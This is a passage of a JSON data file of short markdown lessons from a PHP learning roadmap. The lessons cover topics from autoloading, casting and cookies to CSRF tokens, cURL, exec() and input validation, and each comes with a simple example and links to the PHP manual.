    "content": "# Auth Mechanisms\n\nWhen you are developing PHP application, security should always be a top priority and authentication mechanism forms it's very core. It ensures proper establishing of user identities before they can access your system's resources. PHP provides several methods to implement authentication like session-based, token-based, HTTP authentication, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Auth Mechanisms](https://www.php.net/manual/en/features.http-auth.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/autoloading@qFiTsf6Es-gwqe6J6bdL1.md",
    "content": "# Autoloading\n\nAutoloading is a convenient feature in PHP that allows for automated loading of classes or files when they are needed. For example, if you have a class that is not yet included or required in the script, and you're instantiating that class, PHP would automatically include that class file for you, given that it complies with the standard PHP autoloading conventions. This feature cuts down the need to manually include or require files and makes your code cleaner and more efficient to manage. Here's a simple example:\n\n    spl_autoload_register(function ($class_name) {\n        include $class_name . '.php';\n    });\n    \n    $obj = new MyClass();\n    \n\nIn this example, PHP will automatically load the MyClass.php file when the MyClass is instantiated.\n\nVisit the following resources to learn more:\n\n- [@official@Autoloading](https://www.php.net/manual/en/language.oop5.autoload.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/basic-php-syntax@hzBUHSuFwLYNooF_vEmrs.md",
    "content": "# Basic PHP Syntax\n\nPHP syntax is generally considered similar to C-style syntax, where code blocks are defined with curly braces, variables start with a dollar sign ($), and statements end with a semicolon (;), making it relatively easy to learn for programmers familiar with C-like languages; PHP scripts are embedded within HTML using opening tags \"\" to mark where PHP code should be executed within a web page.\n\nVisit the following resources to learn more:\n\n- [@official@Basic Syntax](https://www.php.net/manual/en/langref.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/caching-strategies@Av-BMa57RvrLlAXLffOH0.md",
    "content": "# Caching Strategies\n\nCaching Strategies are integral to Performance Optimization in PHP. Caching minimizes server load and enhances application speed by temporarily storing results of expensive operations, so that they can be reused in subsequent requests. Some caching techniques used in PHP include opcode caching, object caching, database query caching or full-page caching. For example, OPcache is an opcode caching system that improves PHP performance by storing precompiled script bytecode in memory, negating the need for PHP to load and parse scripts on every request.\n\nVisit the following resources to learn more:\n\n- [@official@Opcache](https://www.php.net/manual/en/book.opcache.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/callback-functions@x7hA2KAzJIjc-prgCEw6V.md",
    "content": "# Callback Functions\n\nA callback function in PHP is a function that is passed as an argument to another function. The receiving function can then invoke this function as needed. Callback functions are often used to define flexible or reusable code because they allow you to customize the behavior of a function without changing its structure.\n\nVisit the following resources to learn more:\n\n- [@official@Callback Functions](https://www.php.net/manual/en/language.types.callable.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/casting-data-types@pzReF4C0mcCWAnpfIJbwl.md",
    "content": "# Casting Data Types\n\nPHP, as a loose typing language, allows us to change the type of a variable or to transform an instance of one data type into another. This operation is known as Casting. When to use casting, however, depends on the situation - it is recommendable when you want explicit control over the data type for an operation. The syntax involves putting the intended type in parentheses before the variable. For example, if you wanted to convert a string to an integer, you'd use: `$myVar = \"123\"; $intVar = (int) $myVar;`. Here, `$intVar` would be an integer representation of `$myVar`. Remember, the original variable type remains unchanged.\n\nHere's an example of type casting in PHP:\n\n    <?php\n    $foo = 10;   // $foo is an integer\n    $bar = (bool) $foo;   // $bar is a boolean\n    ?>\n\nVisit the following resources to learn more:\n\n- [@official@Type Casting](https://www.php.net/manual/en/language.types.type-juggling.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/classes-and-objects@PIuplWreo7PFG3Mdn2t6W.md",
    "content": "# Classes and Objects\n\nPHP supports object-oriented programming, offering a multi-paradigm way of coding through classes and objects. A class is like a blueprint for creating objects that encapsulate all faculties, properties and methods. An object, on the other hand, is an instance of a class where you can interact with the class's methods and change its properties. PHP lets you define a class using the keyword 'class', set properties and methods within it, and then create an object of that class using 'new'.\n\nVisit the following resources to learn more:\n\n- [@official@Classes](https://www.php.net/manual/en/language.oop5.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/composer@yVFDu2aTiEZ4PWMdKdW2P.md",
    "content": "# Composer\n\nComposer is a fundamental tool in modern PHP development. It simplifies the management of project dependencies, allowing you to declare what you need and automatically installing those resources in your project. For example, if your PHP project requires a certain library, Composer will fetch the appropriate version and make sure it's available for your project. Here's an example of how to add a dependency using Composer:\n\n    composer require vendor/package\n    \n\nThis command adds the `vendor/package` dependency to your project. The same goes for removing dependencies, updating them, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Composer](https://getcomposer.org/)\n- [@official@Composer Documentation](https://getcomposer.org/doc/)"
  },
  {
    "path": "src/data/roadmaps/php/content/conditionals@38YksjvhXCbgnHqkl57Cz.md",
    "content": "# Conditionals\n\nConditionals in PHP, much like in other programming languages, allow for branching in code, meaning your program can choose to execute specific parts of code based on the state of variables or expressions. The most common conditional statements in PHP are \"if\", \"else\", and \"elseif\".\n\nVisit the following resources to learn more:\n\n- [@official@Control Structures](https://www.php.net/manual/en/language.control-structures.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/configuration-files@DTaAZaU1CwzW7esoDhj85.md",
    "content": "# Configuration Files\n\nConfiguration files are critical for PHP applications because they help manage dynamic settings like database connection information, error reporting, and many other PHP settings without hard coding, making your application flexible and secure. PHP uses an \"php.ini\" file to hold these settings. You can modify settings by accessing and changing values in this file. For example, to adjust the maximum file upload size, you might modify the `upload_max_filesize` directive. However, changes to the `php.ini` file take effect only after the server is restarted.\n\nVisit the following resources to learn more:\n\n- [@official@PHP Config](https://www.php.net/manual/en/ini.list.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/configuration-tuning@VpwwF8j5ZtXVSbzNfE7Sx.md",
    "content": "# Configuration Tuning\n\nFor performance optimization in PHP, configuration tuning is a crucial step. You can manipulate several settings in your php.ini file to enhance your PHP application's performance. For instance, `memory_limit` is a key parameter that specifies the maximum amount of memory a script can consume. Optimizing this setting will prevent the PHP scripts from eating up all server resources. Similarly, adjusting the `max_execution_time` limits the time a script runs. Just ensure careful configuration since restrictive settings could lead to issues. Here's a simple example of how you might modify these parameters:\n\n    // Updating memory_limit\n    ini_set('memory_limit','256M');\n    \n    // Updating max_execution_time\n    ini_set('max_execution_time', '300');\n\nVisit the following resources to learn more:\n\n- [@official@Configuration Tuning](https://www.php.net/manual/en/ini.core.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/connection-pooling@txUyPR_tdC8iTJV3RtvBz.md",
    "content": "# Connection Pooling\n\nConnection pooling is a technique used in PHP to manage and maintain multiple open connections with a database. It reduces the time overhead of constantly opening and closing connections, and ensures efficient utilisation of resources. Connection pooling limits the number of connections opened with the database and instead reuses a pool of existing active connections, thereby significantly enhancing the performance of PHP applications. When a PHP script needs to communicate with the database, it borrows a connection from this pool, performs the operations, and then returns it back to the pool. Although PHP doesn't have native support for connection pooling, it can be achieved through third-party tools like 'pgBouncer' when using PostgreSQL or 'mysqlnd\\_ms' plugin with MySQL. Note, it's recommended to use connection pooling when you've a high-traffic PHP application.\n\nVisit the following resources to learn more:\n\n- [@official@Connection Pooling](https://www.php.net/manual/en/oci8.connection.php)\n- [@official@Database Extensions](https://www.php.net/manual/en/refs.database.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/constants@VLRLymQmLfscrBfzXKvHi.md",
    "content": "# Constants\n\nConstants in PHP are fixed values that do not change during the execution of the script. They can be handy for values that need to be reused often like a website's URL, a company's name, or even a hardcoded database connection string. Unlike variables, once a constant is defined, it cannot be undefined or reassigned. Constants are case-sensitive by default but this can be overridden. They are defined using the define() function or the const keyword. For instance, you can create a constant to hold the value of Pi and call it in your script like this:\n\n    define(\"PI\", 3.14);\n    echo PI; // Outputs: 3.14\n\nVisit the following resources to learn more:\n\n- [@official@Constants](https://www.php.net/manual/en/language.constants.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/constructor--destructor@oNUt1oT8pYBVvH0S2P6cb.md",
    "content": "# Constructor / Destructor\n\nConstructor and Destructor methods are fundamental components of Object-Oriented Programming (OOP) in PHP. A constructor is a special type of method that automatically runs upon creating an object, often used to set property values or default behaviors. On the other hand, a destructor is a method that is automatically invoked when an object is due to be destroyed, perfect for cleanup activities. Here is a basic example:\n\n    class TestClass {\n      public $value;\n    \n      // Constructor Method\n      public function __construct($val) {\n        $this->value = $val;\n      }\n    \n      // Destructor Method\n      public function __destruct() {\n        echo \"Object is being destroyed.\";\n      }\n    }\n    \n    $obj = new TestClass(\"Hello World\");\n    echo $obj->value; \n    // Displays: Hello World\n    // And when the script ends, \"Object is being destroyed.\"\n\nVisit the following resources to learn more:\n\n- [@official@PHP Constructors and Destructors](https://www.php.net/manual/en/language.oop5.decon.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/cookies@so03-fK7E2WvTm6XsPq4i.md",
    "content": "# Cookies\n\nCookies are a crucial part of state management in PHP. They enable storage of data on the user's browser, which can then be sent back to the server with each subsequent request. This permits persistent data between different pages or visits. To set a cookie in PHP, you can use the `setcookie()` function. For example, `setcookie(\"user\", \"John Doe\", time() + (86400 * 30), \"/\");` will set a cookie named \"user\" with the value \"John Doe\", that will expire after 30 days. The cookie will be available across the entire website due to the path parameter set as `/`. To retrieve the value of the cookie, you can use the global `$_COOKIE` array: `echo $_COOKIE[\"user\"];`.\n\nVisit the following resources to learn more:\n\n- [@official@Cookies](https://www.php.net/manual/en/features.cookies.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/csrf-protection@J9yIXZTtwbFzH2u4dI1ep.md",
    "content": "# CSRF Protection\n\nCross-Site Request Forgery (CSRF) Protection in PHP is a method where a website can defend itself against unwanted actions performed on behalf of the users without their consent. It's a critical aspect of security as it safeguards users against potential harmful activities. Here's an example: if users are logged into a website and get tricked into clicking a deceitful link, CSRF attacks could be triggered. To protect your PHP applications from such attacks, you can generate a unique token for every session and include it as a hidden field for all form submissions. Afterwards, you need to verify this token on the server side before performing any action.\n\n    <?php\n    // Generate CSRF token\n    if(empty($_SESSION['csrf'])) {\n        $_SESSION['csrf'] = bin2hex(random_bytes(32));\n    }\n    \n    // Verify CSRF token\n    if(isset($_POST['csrf']) && $_POST['csrf'] === $_SESSION['csrf']) {\n        // valid CSRF token, perform action\n    }\n    ?>\n\nVisit the following resources to learn more:\n\n- [@article@PHP Tutorial CSRF](https://www.phptutorial.net/php-tutorial/php-csrf/)"
  },
  {
    "path": "src/data/roadmaps/php/content/csv-processing@MRDjEjbkMpk7shcWAoPOF.md",
    "content": "# CSV Processing\n\nCSV processing refers to handling CSV (Comma Separated Values) files in PHP, an operation significantly useful for managing tabular data. PHP provides a few key functions to handle CSV files effectively. For example, `fgetcsv()` allows you to read CSV file line by line, `fputcsv()` lets you write line by line into a CSV file, and `str_getcsv()` allows you to parse a CSV string into an array. A quick example of reading a CSV file:\n\n    if (($handle = fopen(\"sample.csv\", \"r\")) !== FALSE) {\n        while (($data = fgetcsv($handle, 1000, \",\")) !== FALSE) {\n            print_r($data);\n        }\n        fclose($handle);\n    }\n    \n\nIn this snippet, PHP reads through each line of the `sample.csv` file, converting each into an array with `fgetcsv()`.\n\nVisit the following resources to learn more:\n\n- [@official@CSV Processing](https://php.net/manual/en/ref.fileinfo.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/curl@KC6D81-T-FwQc7Osw1rlY.md",
    "content": "# cURL\n\ncURL is a flexible way to make requests to external servers from within a PHP script. cURL, which stands for Client URL, is a library that facilitates various types of network communication methods based on different types of URLs. You can, for example, use cURL functions in PHP to access REST APIs, download files, or post form data, among other things. Here's a basic PHP cURL example where we fetch data from an API:\n\n    $ch = curl_init();\n    \n    curl_setopt($ch, CURLOPT_URL, \"http://example.com/api/data\");\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    \n    $result = curl_exec($ch);\n    \n    if(curl_errno($ch)){\n       echo 'Error:' . curl_error($ch);\n    }\n    \n    curl_close($ch);\n\nVisit the following resources to learn more:\n\n- [@official@cURL](https://curl.se/)\n- [@official@cURL in PHP](https://www.php.net/manual/en/book.curl.php)\n- [@opensource@curl/curl](https://github.com/curl/curl)"
  },
  {
    "path": "src/data/roadmaps/php/content/data-types@srIHPZabaCGdB5VvUXaMa.md",
    "content": "# Data Types\n\nPHP is a flexible and widely-used language that supports several types of data. These types include integers, floating-point numbers, strings, arrays, objects, NULL, and many more. The different data types allow developers to efficiently manage and handle data in their applications. For example, an integer data type in PHP can be a non-decimal number between -2,147,483,648 and 2,147,483,647. Here's a small sample PHP code snippet that assigns different data types to variables:\n\n    $text = \"Hello world!\";  // String\n    $number = 1234;  // Integer\n    $decimalNumber = 12.34;  // Floating-point number\n    $boolean = true; // Boolean\n\nVisit the following resources to learn more:\n\n- [@official@Data Types](https://www.php.net/manual/en/language.types.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/database-migrations@meplwvmHMtI3Sb_fyodzZ.md",
    "content": "# Database Migrations\n\nDatabase migrations help keep track of changes in your database schema, making it easier to move from one version of a database to another. Migrations allow us to evolve our database design iteratively and apply these updates across our development, staging, and production servers. This can save a lot of manual work. But more than that, migrations maintain consistency across all the environments, reducing the chances of unexpected behavior. There's no standard built-in migrations mechanism in PHP, but powerful and popular PHP frameworks like Laravel have robust solutions for migrations.\n\nVisit the following resources to learn more:\n\n*   [@article@Laravel Migrations](https://laravel.com/docs/migrations)."
  },
  {
    "path": "src/data/roadmaps/php/content/database-transactions@FY-F6n9j29hQrnFry3VGb.md",
    "content": "# Database Transactions\n\nDatabase transactions in PHP refer to a unit of work performed within a database system, which is treated in a coordinated manner. This technique is vital when dealing with critical tasks like money transfer between accounts, where data consistency is crucial. If one part of the transaction fails, the entire transaction fails, ensuring that the database stays consistent even in an event of a failure.\n\nVisit the following resources to learn more:\n\n- [@official@PDO Transactions](https://www.php.net/manual/en/pdo.transactions.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/default--optional-params@RgVP99rJJ8FVecIA45w20.md",
    "content": "# Default / Optional Params\n\nIn PHP, you can assign default values to your function parameters. These are called default or optional parameters. This is exceptionally useful when you want to make the function argument optional so if a value is not provided when the function is called, then the default value is used instead. Here's a simple code example:\n\n    function greet($name = \"guest\") {\n      echo \"Hello, $name!\";\n    }\n    \n    greet(); // Outputs: Hello, guest!\n    greet(\"John\"); // Outputs: Hello, John!\n\nVisit the following resources to learn more:\n\n- [@official@Default Parameters](https://www.php.net/manual/en/functions.arguments.php#functions.arguments.default)"
  },
  {
    "path": "src/data/roadmaps/php/content/dependency-injection@KEE50C6lOS4eX8sAbfhYe.md",
    "content": "# Dependency Injection\n\nDependency injection is a design pattern used mainly for managing class dependencies. Here, instead of a class being responsible for creating its dependencies on its own, an injector (the \"client\") passes the requirements to the class (the \"service\"), centralizing control and encouraging code to follow the single responsibility principle. As a simple example, consider a situation where class B needs to utilize class A's methods. Instead of creating an object of class A within B, with dependency injection, we pass an instance of class A to B.\n\n    class A {\n        function display(){\n            echo 'Hello, PHP dependency injection!';\n        }\n    }\n    \n    class B {\n        private $a;\n    \n        public function __construct(A $classAInstance) {\n            $this->a = $classAInstance;\n        }\n    \n        public function callDisplayOwn() {\n            $this->a->display();\n        }\n    }\n    \n    $instanceA = new A();\n    $instanceB = new B($instanceA);\n    $instanceB->callDisplayOwn();  // Outputs: \"Hello, PHP dependency injection!\"\n\nVisit the following resources to learn more:\n\n- [@article@Understand Dependency Injection in PHP](https://php-di.org/doc/understanding-di.html)"
  },
  {
    "path": "src/data/roadmaps/php/content/echo@2ykzBBdYhWuM-neGf0AWP.md",
    "content": "# echo\n\n'echo' is a language construct in PHP, and it is commonly used to output one or more strings to the browser. This command doesn't behave like a function, hence it doesn't require parentheses unless it's necessary to avoid confusion. It's also worth mentioning that 'echo' also supports multiple parameters. Check out a simple example below where we are using echo to output a simple string:\n\n    echo \"Hello, world!\";\n    \n\nVisit the following resources to learn more:\n\n*   [@official@echo](https://www.php.net/manual/en/function.echo.php)."
  },
  {
    "path": "src/data/roadmaps/php/content/environment-variables@fitjnLYKLHJ2P5G7JAvzm.md",
    "content": "# Environment Variables\n\nEnvironment variables provide a way to influence the behavior of software on your system. They consist of name/value pairs and are used for various purposes, such as to specify directory paths, usernames, or passwords that your PHP application might use. You can set PHP environment variables using the `putenv()` function, and retrieve them using `getenv()`. For example, if you want to set the environment variable \"FOO\" to \"bar\", you could do so like this:\n\n    putenv(\"FOO=bar\");\n    \n\nAnd then you can retrieve the value with `getenv()` like:\n\n    echo getenv(\"FOO\"); // returns \"bar\"\n    \n\nKeep in mind that environment variables set using `putenv()` are only available for the duration of the current request. If you want them to persist for future requests, you'll need to set them using your system's method for setting environment variables.\n\nVisit the following resources to learn more:\n\n- [@official@Environment Variables](https://www.php.net/manual/en/function.putenv.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/evolution-and-history@b2CuLrhsUNnb4OxI6RRAS.md",
    "content": "# Evolution and History\n\nPHP, originally standing for Personal Home Page, is a popular scripting language used commonly for web development. Rasmus Lerdorf created it in 1994, and since then, it has evolved significantly from a simple set of CGI binaries written in C, to a full-featured language. PHP's journey includes several versions, with PHP 3 introducing a re-written parser and a better approach to object-oriented programming. PHP 8.0, introduced several optimizations, JIT compilation, and union types, among other improvements.\n\nVisit the following resources to learn more:\n\n- [@official@History of PHP](https://www.php.net/history)"
  },
  {
    "path": "src/data/roadmaps/php/content/executing-system-commands@VhyYNGhOdKKrz_-uTkrjD.md",
    "content": "# Executing System Commands\n\nPHP provides developers with the flexibility to invoke system commands directly from PHP scripts. This can be achieved with functions like `exec()`, `system()`, or `passthru()`, which allow your PHP script to execute system-level instructions and interact with the underlying server. This can be useful in several scenarios - for automating tasks, orchestrating system activities, or even for pulling out system information. However, it's important to use these functions with caution due to the security risks of executing system commands. Here's a simple example of using the exec() function:\n\n    <?php\n    // Outputs all lines\n    exec('ls', $output);\n    foreach($output as $out){\n        echo $out, PHP_EOL;\n    }\n    ?>\n\nVisit the following resources to learn more:\n\n- [@official@Exec Function](https://www.php.net/manual/en/ref.exec.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/file-permissions@tgIyG6vHWpe9sz6lHmj5a.md",
    "content": "# File Permissions\n\nFile permissions in PHP control who can read, write, and execute a file. They're crucial for the security and proper functioning of your PHP applications. When working with files, you can use functions like `chmod()`, `is_readable()`, and `is_writable()` to manage permissions. Typically, you would use `chmod()` to change the permissions of a file. The first parameter is the name of the file and the second parameter is the mode. For instance, `chmod($file, 0755)` would assign owner permissions to read, write, and execute, while everyone else would only have read and execute permissions. To know if a file is readable or writable, use `is_readable()` or `is_writable()` respectively.\n\nVisit the following resources to learn more:\n\n- [@official@Filesystem Functions](https://www.php.net/manual/en/ref.filesystem.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/file-uploads@HNo8QO4aPbvgePiA4l6tq.md",
    "content": "# File Uploads\n\nUploading files in PHP is a commonly used functionality for many applications. This is typically done using the `$_FILES` superglobal array that allows you to manage uploaded files in your PHP script. It contains details like `name`, `type`, `size` etc of the file. An index is also present for each file in the case of multiple uploads. The `move_uploaded_file()` function is then used to move the uploaded file to the desired directory.\n\nDon't forget to pay attention to security considerations when accepting file uploads.\n\nVisit the following resources to learn more:\n\n- [@official@File Uploads](https://www.php.net/manual/en/features.file-upload.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/form-processing@sYI7f1PYP7G30_Uj2mZRv.md",
    "content": "# Form Processing\n\nForm processing is a common web function and in PHP, it's pretty straightforward. It typically involves accepting data from a user through a web form and then using PHP to handle, process and possibly store that data. PHP provides superglobal arrays (`$_GET`, `$_POST`, and `$_REQUEST`) which help to collect form data. Let's talk about a simple example of a form that accepts a name from a user and then displays it.\n\nMake sure to handle form data securely, for instance by using the `htmlspecialchars()` function to neutralize any harmful characters.\n\nVisit the following resources to learn more:\n\n- [@official@HTML Form Processing](https://www.php.net/manual/en/tutorial.forms.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/function-declaration@1nODJchgSuWbcvSlxnWeE.md",
    "content": "# Function Declaration\n\nFunction is the block of code that performs a specific task. It is a reusable code that can be called multiple times. In PHP, a function is declared using the `function` keyword followed by the function name and parentheses. The function name should be unique and descriptive. The parentheses may contain parameters that are passed to the function. The function body is enclosed within curly braces `{}`.\n\n    function greeting($name) {\n        echo \"Hello, \" . $name;\n    }\n    \n\nIn this case, 'greeting' is the function name, '$name' is the parameter, and 'echo \"Hello, \" . $name;' is the operation.\n\nVisit the following resources to learn more:\n\n- [@official@User Defined Functions](https://www.php.net/manual/en/functions.user-defined.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/functions@WiGv7vi7Mtw-YqPMcnnyw.md",
    "content": "# Functions\n\nFunctions in PHP are self-contained blocks of code that carry out specific tasks and can be reused throughout your application. A function is defined with the word \"function\" followed by a name, and it should return a value using the \"return\" statement. To use a function, you simply need to call it by its name. You can also pass parameters to functions to influence how they work. Here's a simple function:\n\n    function greet($name) {\n        return \"Hello, \" . $name;\n    }\n    \n    echo greet(\"John\"); // Outputs: Hello, John\n    \n\nIn the code above, \"greet\" is a function that takes one parameter \"name\". It concatenates \"Hello, \" with the name and returns the result.\n\nVisit the following resources to learn more:\n\n- [@official@Functions](https://www.php.net/manual/en/language.functions.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/guzzle@_Al4NXKVQAnk8OikwvXCL.md",
    "content": "# Guzzle\n\nGuzzle is a PHP HTTP client that simplifies making HTTP requests in PHP. It provides a straightforward and powerful way to send HTTP requests. Guzzle can simplify your life if you often handle APIs or other HTTP requests. It's great for everything from sending simple GET requests, to uploading files with POST requests, or even handling Errors using exception handling.\n\nVisit the following resources to learn more:\n\n- [@official@Guzzle Documentation](https://docs.guzzlephp.org/en/stable/)"
  },
  {
    "path": "src/data/roadmaps/php/content/http-methods@tn_iIfaJZVtPK6vFds7FH.md",
    "content": "# HTTP Methods\n\nPHP allows for handling HTTP methods, which are a way of defining the action to be performed on the resource identified by a given URL. In PHP, the $\\_SERVER superglobal array can be used to identify the HTTP method of a specific request, typically a GET, POST, PUT, DELETE or HEAD. For example, to identify if a request is a POST request, you can use `if ($_SERVER['REQUEST_METHOD'] == 'POST') { // your code here }`. More advanced handling can be done by utilizing built-in PHP libraries or third-party packages.\n\nVisit the following resources to learn more:\n\n- [@official@HTTP Methods](https://www.php.net/manual/en/reserved.variables.server.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/ifelse@-McOv-ZPTGayX7Mx2Thw1.md",
    "content": "# if/else\n\nIn PHP, the if/else conditional statements are fundamental components that control the flow of the program based on specific conditions. When the 'if' condition is true, a block of code will execute. If that condition is not met (or false), the program proceeds to the 'else' statement (if provided), executing its block of code. This allows you to handle different situations dynamically. A simple example of this concept in action would be:\n\n    $number = 10;\n    if ($number > 5) {\n        echo \"The number is greater than 5\";\n    } else {\n        echo \"The number is not greater than 5\";\n    }\n    \n\nIn this example, the output will be \"The number is greater than 5\" because the condition evaluated to true.\n\nVisit the following resources to learn more:\n\n- [@official@if-else](https://www.php.net/manual/en/control-structures.elseif.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/include@hKfv7V6bl2LXssq9Ffi7C.md",
    "content": "# include\n\nThe 'include' statement in PHP is a useful method for inserting code written in one file into another. It's mainly used when the same code needs to be used in multiple files, avoiding redundancy and making code maintenance easier. If it cannot find the file, PHP will emit a warning but continue to execute the rest of the script. Here's a simple example:\n\n    <?php\n        include 'filename.php';\n    ?>\n    \n\nIn this code snippet, 'filename.php' is the file containing the code that you want to insert. Just replace 'filename.php' with the actual file path you want to include.\n\nVisit the following resources to learn more:\n\n- [@official@include](https://www.php.net/manual/en/function.include.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/include_once@SwtLDgyPmDry20qS4FBfH.md",
    "content": "# include_once\n\nThe `include_once` statement is a part of PHP's file-handling toolkit, allowing developers to include a PHP file within another PHP file, but only for a one-time execution. This way, you can ensure that functions or objects defined in the included file are not duplicated leading to errors. It helps keep your code DRY (Don't Repeat Yourself) and clean. Here is a small example:\n\n    include_once 'database.php';\n    \n    $db = new Database();\n    \n\nIn this simple code snippet, we include the `database.php` file once, giving us access to the `Database` class.\n\nVisit the following resources to learn more:\n\n- [@official@include_once](https://www.php.net/manual/en/function.include-once.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/indexed-arrays@j2S8dP3HlAOOoZdpj-7Dx.md",
    "content": "# Indexed Arrays\n\nIndexed arrays in PHP store values that are accessed through numerical indexes, which start at 0 by default. This might be particularly useful when you have a list of items in a specific order. For example, you might use an indexed array to represent a list of your favorite books, where each book is numbered starting from 0. Each individual item in the array, book in this case, can be accessed by their specific index. You can use the array() function or the short array syntax \\[\\] to declare an indexed array.\n\nHere's an Example:\n\n    $books = [\"The Great Gatsby\", \"Moby Dick\", \"To Kill a Mockingbird\"];\n    echo $books[0]; //Outputs \"The Great Gatsby\"\n\nVisit the following resources to learn more:\n\n- [@official@Indexed Arrays](https://www.php.net/manual/en/language.types.array.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/inheritance@c5q2e_jyMt8Pir5Od3lRi.md",
    "content": "# Inheritance\n\nInheritance, a fundamental concept in object-oriented programming (OOP), is a feature that PHP supports. It lets us create classes which are extensions of other classes, inheriting their methods and properties. This concept allows the creation of more flexible and maintainable code, as it promotes code reuse. For instance, consider we have a 'Vehicle' class and we want to create a 'Car' class. Since cars are a type of vehicle, it would make sense for our 'Car' class to inherit from the 'Vehicle' class.\n\n    class Vehicle {\n      public $color;\n      function drive() {\n        echo \"Driving...\";\n      }\n    }\n    \n    class Car extends Vehicle {\n      function horn() {\n        echo \"Beeping...\";\n      }\n    }\n    \n    $myCar = new Car();\n    $myCar->drive(); // Inherits drive method from Vehicle\n    $myCar->horn(); // Unique to Car\n    \n\nIn the above example, the 'Car' class inherits the drive method from the 'Vehicle' class but also has an additional method, horn. This is an illustration of how inheritance in PHP can help to organize your code efficiently and intuitively.\n\nVisit the following resources to learn more:\n\n- [@official@Inheritance](https://www.php.net/manual/en/language.oop5.inheritance.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/input-validation@93oEIZttb85S23C1fLraP.md",
    "content": "# Input Validation\n\nInput validation is a vital aspect of PHP security. It involves checking whether the user-provided data is in the expected format or not before it's processed further. This helps prevent potential security risks such as SQL injections, cross-site scripting (XSS) etc. Let's take an example of a simple form input validation:\n\n    if (filter_var($email, FILTER_VALIDATE_EMAIL)) {\n      echo(\"Email is valid\");\n    } else {\n      echo(\"Email is not valid\");\n    }\n    \n\nThis code uses PHP's built-in `filter_var()` function to ensure the data is a valid email address. If not, the form will not be submitted until valid data is entered.\n\nVisit the following resources to learn more:\n\n- [@official@Input Validation](https://www.php.net/manual/en/book.filter.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/installing-php@3_TuxOSzBuktBlBF05r_z.md",
    "content": "# Installing PHP\n\nInstalling PHP is an essential process to start developing PHP applications. PHP can be installed on Windows, macOS, and various distributions of Linux. Places to get PHP include the official PHP website, package managers like APT for Linux and Homebrew for macOS, or bundled solutions like XAMPP or WAMP that provide PHP along with a web server and database. After successful installation, you can run a simple PHP script to verify the installation. Here's an example, `<?php echo 'Hello, World!'; ?>`, which should display \"Hello, World!\" when accessed in a web browser.\n\nVisit the following resources to learn more:\n\n- [@official@Installation Guide](https://www.php.net/manual/en/install.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/interfaces@vu0H-TsD7hkJgOQbSRj92.md",
    "content": "# Interfaces\n\nInterfaces in PHP serve as a blueprint for designing classes. They ensure that a class adheres to a certain contract, all without defining how those methods should function. As PHP is not a strictly typed language, interfaces can be particularly useful in large codebases to maintain continuity and predictability. For example, in PHP, an interface 'iTemplate' could be defined with methods 'setVariable' and 'getHtml'. Any class that implements this interface must define these methods.\n\nHere is a snippet:\n\n    interface iTemplate {\n        public function setVariable($name, $var);\n        public function getHtml($template); \n    }\n    \n    class Template implements iTemplate {\n        private $vars = array();\n    \n        public function setVariable($name, $var) {\n            $this->vars[$name] = $var;\n        }\n    \n        public function getHtml($template) {\n            foreach($this->vars as $name => $value) {\n                $template = str_replace('{' . $name . '}', $value, $template);\n            }\n            return $template;\n        }\n    }\n\nVisit the following resources to learn more:\n\n- [@official@Interfaces](https://www.php.net/manual/en/language.oop5.interfaces.php)"
  },
  {
    "path": "src/data/roadmaps/php/content/introduction-to-php@_hYN0gEi9BL24nptEtXWU.md",
    "content": "# Introduction to PHP\n\nPHP, also known as Hypertext Preprocessor, is a powerful scripting language used predominantly for creating dynamic web pages and applications. It provides seamless interaction with databases, easier control of content, session tracking, and cookies. Being an open-source language, it's favored by developers for its flexibility, speed, and security.\n\nHere's a simple PHP code to print a text:\n\n      <?php\n       echo \"Hello, World!\";\n      ?>\n    \n\nHere the \"echo\" command in PHP helps to output one or more strings.\n\nVisit the following resources to learn more:\n\n- [@official@PHP](https://www.php.net/)\n- [@official@PHP Documentation](https://www.php.net/docs.php)\n- [@article@PHP Tutorial](https://www.phptutorial.net/)\n- [@article@Learn PHP Interactively](https://www.learn-php.org/about)\n- [@video@Introduction to PHP](https://www.youtube.com/watch?v=KBT2gmAfav4)\n- [@video@PHP Tutorial - Full Course](https://www.youtube.com/watch?v=OK_JCtrrv-c)"
  },
  {
    "path": "src/data/roadmaps/php/content/json-processing@DB2cxZE58WCCavW2PNwmf.md",
